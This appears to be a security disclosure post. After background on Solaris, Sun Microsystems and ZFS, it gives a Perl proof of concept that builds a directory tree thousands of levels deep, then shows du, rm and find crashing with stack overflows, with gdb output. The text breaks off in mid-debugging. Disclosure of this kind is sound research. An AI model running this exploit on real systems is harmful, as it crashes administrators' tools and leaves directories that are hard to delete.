Solaris is a Unix operating system introduced by Sun Microsystems in 1992 as 
the successor to SunOS.



Sun Microsystems, Inc. is a wholly owned subsidiary of Oracle Corporation, 
selling computers, computer components, computer software, and information 
technology services. Sun was founded on February 24, 1982. The company was 
headquartered in Santa Clara, California (part of Silicon Valley), on the 
former west campus of the Agnews Developmental Center.



In computing, ZFS is a combined file system and logical volume manager designed 
by Sun Microsystems. The features of ZFS include support for high storage 
capacities, integration of the concepts of filesystem and volume management, 
snapshots and copy-on-write  clones, continuous integrity checking and 
automatic repair, RAID-Z and native NFSv4 ACLs.

We can create, deep tree and when we will remove, scan or something else with 
this tree, affected program will crash with stack overflow sympton



PoC:

# perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'



we need use 1..8000 or bigger value to make stack overflow.



in result



# du X

Segmentation fault (core dumped)

# /usr/local/bin/gdb -q du

(no debugging symbols found)

(gdb) r X

Starting program: /usr/bin/du X

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)

(no debugging symbols found)



Program received signal SIGSEGV, Segmentation fault.

0xfeedfc8a in _ndoprnt () from /lib/libc.so.1

(gdb) x/i $eip

0xfeedfc8a <_ndoprnt+12>:       push   %ebp



We can simple remove this dir for 1..8000



# rm -rf X

#



but let`s try create this 



# perl -e '$a="Y";for(1..50000){ ! -d $a and mkdir $a and chdir $a }'

# rm -rf Y

Segmentation fault (core dumped)



rm(1) has fail!



what is wrong? stack overflow



# /usr/local/bin/gdb -q rm

(no debugging symbols found)

(gdb) r -rf Y

Starting program: /usr/bin/rm -rf Y

(no debugging symbols found)

(no debugging symbols found)

(gdb) x/i $eip

# find Y CX >> /dev/null

find(1) also fails!



# /usr/local/bin/gdb -q find
